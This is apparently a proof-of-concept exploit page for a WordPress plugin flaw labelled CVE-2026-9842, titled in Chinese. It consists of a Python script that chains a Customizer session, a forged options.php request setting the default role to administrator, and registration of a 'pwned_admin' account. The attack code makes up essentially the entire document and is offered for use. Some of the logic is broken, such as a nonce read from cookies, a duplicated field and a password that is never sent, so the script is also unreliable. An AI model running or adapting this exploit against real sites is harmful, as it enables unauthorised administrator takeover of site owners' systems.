CVE-2026-9842 WordPress Backstage插件权限提升漏洞

# CVE-2026-9842 Exploit PoC # WordPress Backstage Plugin Privilege Escalation # Affected: Backstage - Customizer Demo Access <= 1.4.2 import requests TARGET_URL = "http://target-wordpress-site.com" # Step 1: Access the Customizer to obtain backstage_customizer_user role session def get_customizer_session(target_url): """ Access the WordPress Customizer page to obtain a session with backstage_customizer_user role capabilities. """ session = requests.Session() # Access the Customizer page customizer_url = f"{target_url}/wp-admin/customize.php" response = session.get(customizer_url) # The plugin may auto-create a backstage_customizer_user session return session # Step 2: Modify default_role option to administrator using manage_options capability def escalate_privileges(session, target_url): """ Exploit the manage_options capability assigned to backstage_customizer_user to modify the default_role WordPress option. """ # Use WordPress options.php to update default_role options_url = f"{target_url}/wp-admin/options.php" data = { "option_page": "general", "action": "update", "default_role": "administrator", # Escalate default role to administrator "_wpnonce": session.cookies.get("_wpnonce", ""), "_wp_http_referer": "/wp-admin/options-general.php", "blogname": "test", "blogdescription": "test", "siteurl": "http://target-wordpress-site.com", "home": "http://target-wordpress-site.com", "admin_email": "[email protected]", "users_can_register": "1", "default_role": "administrator", "WPLANG": "", "submit": "Save Changes" } response = session.post(options_url, data=data) return response # Step 3: Register a new admin account (now default role is administrator) def register_admin(session, target_url, username, password, email): """ Register a new user account which will automatically be assigned administrator role due to the modified default_role option. """ register_url = f"{target_url}/wp-login.php?action=register" data = { "user_login": username, "user_email": email, "wp-submit": "Register", "redirect_to": "", "wpnonce": session.cookies.get("_wpnonce", "") } response = session.post(register_url, data=data) return response # Main exploit chain if __name__ == "__main__": # Step 1: Get customizer session with backstage_customizer_user role session = get_customizer_session(TARGET_URL) # Step 2: Escalate privileges by modifying default_role result = escalate_privileges(session, TARGET_URL) if result.status_code == 200: print("[+] Successfully modified default_role to administrator") # Step 3: Register a new administrator account register_result = register_admin( session, TARGET_URL, "pwned_admin", "P@ssw0rd123!", "[email protected]" ) print("[+] New administrator account created") else: print("[-] Exploit failed")